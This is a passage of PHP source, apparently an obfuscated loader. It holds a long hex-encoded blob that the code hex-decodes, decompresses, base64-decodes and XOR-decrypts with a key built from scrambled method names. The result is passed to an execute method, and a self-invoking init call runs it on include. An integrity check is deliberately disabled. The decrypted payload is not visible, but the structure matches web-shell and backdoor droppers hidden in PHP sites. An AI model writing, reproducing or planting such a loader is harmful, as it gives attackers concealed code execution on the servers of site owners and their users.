8e178db39afb8221287a1e458d3829301dc3d2c37c98e7fcf34e8929dfe4354952d424ed3c9ebee539f0e44ffbe53af0c2bbb0e2eeee6487f82eb13d3f3edc1def99e337ddbbfe3a9bb43b6ef796f641f16f9dc3e3a0f6560ff298ed8bcfd928cf73bcfcf7d6f2df7b53fcde38ffbdedbc4e898bb95f9197b8d9f19d17c51d10e6effc95d701abe25e4d8b3c27bf03ee8b3ac5199c9f6787795d1b0a6e38cf73da59593706455d11271fdd3ae60ca9de93beb370b274728c1beb2068de3e59ee31160f8e31fbebfab9f7d87948e5bbb4bf5adfcf417a33f71b9b633e79dd6bfb7f8ef9eef12c646b3ffb983d593a5729fe462dcb8ef9ceddadb7bf1a1f73a9a7eff4f76dbd6991afcca0bcf7dd66d677fd2d7ed3799ac9bacdcfb963b3b807c3bc36f5f25ab25dd41aa75c34bfb7c6b5b276a9e5b555fc5ae4a2f9f38a5aad25daf9ecad2dda31a735122e40d8c9dfb9a8d5e2a8dc57c5ace3f47ec53d9dc92cabd8a761a995130fdc56d51e6f1d739587fbf0e3e31cd78aefd79ea8bdb6f4d395df758f7754fa334abd4e3fe97dff712ddb6b67af779b78d8dbb88bb1ef5d8d8f2f1038f6fd5d522b62d8d83fe6a25eb27db6f258325c9ff74654f33f9e38ae7ded5bc73dfc7abc2b56b7ae6777daceafc131cfe9e5f9412fff1d512fcf094f33eb3ce71fe63d377fb1f9f87eb26a7f4f77ed97fe1d4e3c1c6d9cd65cedb5e1d39f2ffeff45c15d2f5df7c25e771a5bbf27b3c1dbc21b1431ac1d7ee9baa736aedd8607af53ebd5c7c733f694c5b3e131ae9579a2dfee3c6ccdbe0f3cbf9dd93f632ff90c924370e7babf6f376fdd4eb28f9d59741f7c7d4c5e8f3513c7c4e79a1d7b794e9dc4f1243be6305fd9eb4378bcdd36bd5127735777dee06f103ce6354eda3be6bdb34dd9431e8cca99f0e1aaec4185278fd259af7da37374cfef64d66e924d3ee7c9613ecccee7a838abe60c065ba7668579ce7aac2fafe7b1753fd8ec1b41383e7e53ebb697d9f56ef832cd6b4ef54df3bce92acf3b7bdddbc4b91ac6c9679b6a88d1d7c7afbc4e7e8d8fb550a6bfc17de8acdaee72328bf7dbc9cfa035ff7a1bfd69d7ac32272cfacac559d878c9a3c4d37cefce4c1e11a7f1a87d38d6f11f4f45dd933a778efff23d48d23fb3f6fead7b5b4b7dffeb785fea3a7e710c5d7779ede25abf17dee1f198c3a5fab7edef876998e75ced6eb6bf8a6ae971df1f1e8f35cecfe9aec87eca7b352bf1edbba2bf11e6fdc4e1aa88bb79bfa997f727df8a795e810729e6ab49d18f2dead5eca4c7fd68f9fafcc687abb11fb7e66963f86045c363ec592cacb7eba2863d9d8fa2c6e9e67f234b3ee4fef0fe1cf7b3f9bd8dbb874d74ddefbd743b4e660f93743bcfda4ff79663b503ebedbedd7e8f8270db6bebb3fa940e3f1fdb87e5b096d58273dd18d47ee9f8626563e723ef293c0c83e0caddb44645fde6353ffa6e637a972e7f997b35afed1b84fd485eacd6bae78c67776ed43ce6edf7c7f37673cce56ffce4f0bae4737e8c430f96931eebd0bccedb48dfbb88c5c1a98e3f9cbf7332159c56abb7a9fe2ef76116bbaed39f25f6ee2e6bdc2c3c3778aa356e06616337e8069d97cdc7eeb22619c6bd4e5e77079b5e6f7cdff98ab68f61f3f22e0b37c77ddf3eeefbf0bf6ac461dffd38c6d8225f3bcd39c10726101c54de07d91577cfa6b5e47af07fe6cf61235cf48e354450f203e04e39bc4b3f36efaf6556114bb87793c73af86db7ed639c6fdb49cfc99e8f7f37f6e7c7fcf918d7075eb2eb95b3f2767e1fed4ebdc3d652fa0c26e624a7f37b7c874e27c9e2e12a8ea2383bfe6f984c9df0316c3bf6a8bdb19d5e6d5afcdb9fcd9b173e7e3b9dc1f07eeefd9fff0b';
$hex_data = substr($hex_data, 9);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmtxhRdJ33', 'kmdFjyUi46'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtyPLtAx90', 'gtopMjfz69', 'gtyWPhIw75'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'ce89ddf251a07a0949fc7a750843dcde') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_JoqsyTHX49($plain_code);
}
}
LoaderSaOAOL68554::init508();
// EOF